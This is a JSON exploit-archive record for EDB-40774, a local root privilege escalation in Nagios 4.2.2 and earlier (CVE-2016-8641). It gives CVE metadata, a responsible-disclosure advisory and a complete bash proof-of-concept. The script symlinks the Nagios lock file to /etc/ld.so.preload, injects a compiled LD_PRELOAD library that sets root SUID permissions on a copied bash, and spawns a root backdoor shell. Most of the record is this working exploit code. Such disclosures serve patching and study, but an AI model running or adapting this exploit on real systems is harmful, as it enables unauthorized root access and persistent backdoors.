{"exploit":{"id":"EDB-40774","name":"Nagios <= 4.2.2 - Local Privilege Escalation (LPE)","description":"Nagios <= 4.2.2 - Local Privilege Escalation (LPE)","cves":["CVE-2016-8641"],"author":"Vincent Malguy","published":"2016-11-18","platform":"linux","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40774","path":"exploits/linux/local/40774.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40774.txt","vulnerabilities":[{"id":"CVE-2016-8641","state":"PUBLISHED","title":null,"titleSource":null,"description":"A privilege escalation vulnerability was found in nagios 4.2.x that occurs in daemon-init.in when creating necessary files and insecurely changing the ownership afterwards. It's possible for the local attacker to create symbolic links before the files are to be created and possibly escalating the privileges with the ownership change.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-8641","cvss":{"version":"3.0","baseScore":6.7,"severity":"medium","vectorString":"CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","source":"redhat","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-8641"},"updatedAt":"2024-08-06T02:27:41.284Z","retrievedAt":"2026-11-27T05:07:32.787Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40774.png?v=2","url":"https://exploitbin.com/exploits/EDB-40774","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40774/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40774/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Affected Product:    Nagios 4\nVulnerability Type:   root privilege escalation\nFixed in Version: N/A\nVendor Website:      \thttps://www.nagios.com/\nSoftware Link: : \thttps://sourceforge.net/projects/nagios/files/latest/download?source=directory-featured\nAffected Version: 4.2.2 and prior\nTested on: Ubuntu\nRemote Exploitable:  No\nReported to vendor:  8 november 2016\nDisclosed to public:\nRelease mode:        Responsible Disclosure\nCVE-2016-8641 Nagios 4.2.2 - root privilege escalation\nCredits:   Vincent Malguy\n\n\nDescription (from wikipedia) :\nNagios /ˈnɑːɡiːoʊs/, now known as Nagios Core, is a free and open source computer-software application that monitors systems, networks and infrastructure. Nagios offers monitoring and alerting services for servers, switches, applications and services. It alerts users when things go wrong and alerts them a second time when the problem has been resolved.\n\n********************* CVE-2016-8641 Nagios 4.2.2 - root privilege escalation  *********************\nUsing official installation instruction  at https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/quickstart-ubuntu.html,\nnagios' user is create with a shell :\n\nCreate a new nagios user account and give it a password.\n/usr/sbin/useradd -m -s /bin/bash nagios\n\nleading to a  entry in /etc/passwd like this \"nagios:x:1001:1001::/home/nagios:/bin/bash\"\n\nThis means that if someone has access to the nagios account, he can access any files own by nagios.\n\nThe Nagios startup script, run by root, is insecurely giving owner of file to nagios use :\n(/etc/init.d/nagios: line 190)\ntouch $NagiosRunFile\nchown $NagiosUser:$NagiosGroup $NagiosRunFile $NagiosVarDir/nagios.log $NagiosRetentionFile\n\nIf Nagios user symlink $NagiosRunFile to a file that he has no access to, at startup or reboot   of the nagios daemon, the init script with give him ownership of the linked file.\n\n\nExploit :\n#!/bin/bash -p\n#\n\n\n\nTARGETSERVICE=\"Nagios\"\nLOWUSER=\"nagios\"\nTARGETPATH=\"/usr/local/nagios/var/nagios.lock\"\n\nBACKDOORSH=\"/bin/bash\"\nBACKDOORPATH=\"/tmp/rootbackdoor\"\nPRIVESCLIB=\"/tmp/privesclib.so\"\nPRIVESCSRC=\"/tmp/privesclib.c\"\nSUIDBIN=\"/usr/bin/sudo\"\n\nfunction cleanexit {\n# Cleanup\necho -e \"\\n[+] Cleaning up...\"\nrm -f $PRIVESCSRC\nrm -f $PRIVESCLIB\nrm -f $TARGETPATH\ntouch $TARGETPATH\nif [ -f /etc/ld.so.preload ]; then\necho -n > /etc/ld.so.preload\nfi\necho -e \"\\n[+] Job done. Exiting with code $1 \\n\"\nexit $1\n}\n\nfunction ctrl_c() {\n        echo -e \"\\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation.\"\ncleanexit 0\n}\n\n#intro\necho -e \"\\033[94m \\nNagios - Root Privilege Escalation PoC Exploit \\nNagios-chowned.sh (ver. 1.0)\\n\\nCVE-2016-XXXX \\n\"\necho -e \"Discovered by: Vincent Malguy\\n Original exploit code borrow from Dawid Golunski http://legalhackers.com (Thanks!)\\033[0m\"\n\n\n# Priv check\n\necho -e \"\\n[+] Starting the exploit as \\n\\033[94m`id`\\033[0m\"\nid | grep -q ${LOWUSER}\nif [ $? -ne 0 ]; then\necho -e \"\\n[!] You need to execute the exploit as ${LOWUSER} user! Exiting.\\n\"\nexit 3\nfi\n\n\necho -e \"\\n[+] Target ${LOWUSER} file set to $TARGETPATH \"\n\n# [ Active exploitation ]\n\ntrap ctrl_c INT\n# Compile privesc preload library\necho -e \"\\n[+] Compiling the privesc shared library ($PRIVESCSRC)\"\ncat <<_solibeof_>$PRIVESCSRC\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <dlfcn.h>\n       #include <sys/types.h>\n       #include <sys/stat.h>\n       #include <fcntl.h>\n\nuid_t geteuid(void) {\nstatic uid_t  (*old_geteuid)();\nold_geteuid = dlsym(RTLD_NEXT, \"geteuid\");\nif ( old_geteuid() == 0 ) {\nchown(\"$BACKDOORPATH\", 0, 0);\nchmod(\"$BACKDOORPATH\", 04777);\n//unlink(\"/etc/ld.so.preload\");\n}\nreturn old_geteuid();\n}\n_solibeof_\n/bin/bash -c \"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl\"\nif [ $? -ne 0 ]; then\necho -e \"\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\"\ncleanexit 2;\nfi\n\n\n# Prepare backdoor shell\ncp $BACKDOORSH $BACKDOORPATH\necho -e \"\\n[+] Backdoor/low-priv shell installed at: \\n`ls -l $BACKDOORPATH`\"\n\n# Safety check\nif [ -f /etc/ld.so.preload ]; then\necho -e \"\\n[!] /etc/ld.so.preload already exists. Exiting for safety.\"\nexit 2\nfi\n\n# Symlink the log file to /etc\nrm -f $TARGETPATH && ln -s /etc/ld.so.preload $TARGETPATH\nif [ $? -ne 0 ]; then\necho -e \"\\n[!] Couldn't remove the $TARGETPATH file or create a symlink.\"\ncleanexit 3\nfi\necho -e \"\\n[+] Symlink created at: \\n`ls -l $TARGETPATH`\"\n\n# Kill target service if possible\n#echo -ne \"\\n[+] Killing ${TARGETSERVICE}...\\n\"\n#killall ${TARGETSERVICE}\n\n\n\n# Wait for target service startup to re-create target file\necho -ne \"\\n[+] Waiting for ${TARGETSERVICE} startup to re-create the ${TARGETPATH}...\\n\"\n\nwhile :; do\n# if target file can be recreated by target process (like logs files), we need to keep remove and link it\nrm -f $TARGETPATH && ln -s /etc/ld.so.preload $TARGETPATH\nsleep 0.1\nif [ -f /etc/ld.so.preload ]; then\necho $PRIVESCLIB > /etc/ld.so.preload\nrm -f $TARGETPATH\nbreak;\nfi\ndone\n\n# /etc/ld.so.preload dir should be owned by our low priv controled  user at this point\n# Inject the privesc.so shared library to escalate privileges\necho $PRIVESCLIB > /etc/ld.so.preload\necho -e \"\\n[+] ${TARGETSERVICE} restarted. The /etc/ld.so.preload file got created with ${LOWUSER} privileges: \\n`ls -l /etc/ld.so.preload`\"\necho -e \"\\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload\"\necho -e \"\\n[+] The /etc/ld.so.preload file now contains: \\n`cat /etc/ld.so.preload`\"\nchmod 755 /etc/ld.so.preload\n\n# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)\necho -e \"\\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!\"\nsudo 2>/dev/null >/dev/null\n\n\n# Check for the rootshell\nls -l $BACKDOORPATH\nls -l $BACKDOORPATH | grep rws | grep -q root\nif [ $? -eq 0 ]; then\necho -e \"\\n[+] Rootshell got assigned root SUID perms at: \\n`ls -l $BACKDOORPATH`\"\necho -e \"\\n\\033[94mGot root! The ${TARGETSERVICE} server has been ch-OWNED !\\033[0m\"\nelse\necho -e \"\\n[!] Failed to get root\"\ncleanexit 2\nfi\n\n\n# Execute the rootshell\necho -e \"\\n[+] Spawning the rootshell $BACKDOORPATH now! \\n\"\n$BACKDOORPATH -p -c \"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB\"\n$BACKDOORPATH -p\n\n# Job done.\ncleanexit 0","sha256":"678fe0e72d154dcb13e63627cb9aa3d02ada2f90778dfb87a611148418575fc5","bytes":6182,"fetchedAt":"2026-11-27T18:12:35.085Z","encoding":"utf-8 (display only; download retains original bytes)"}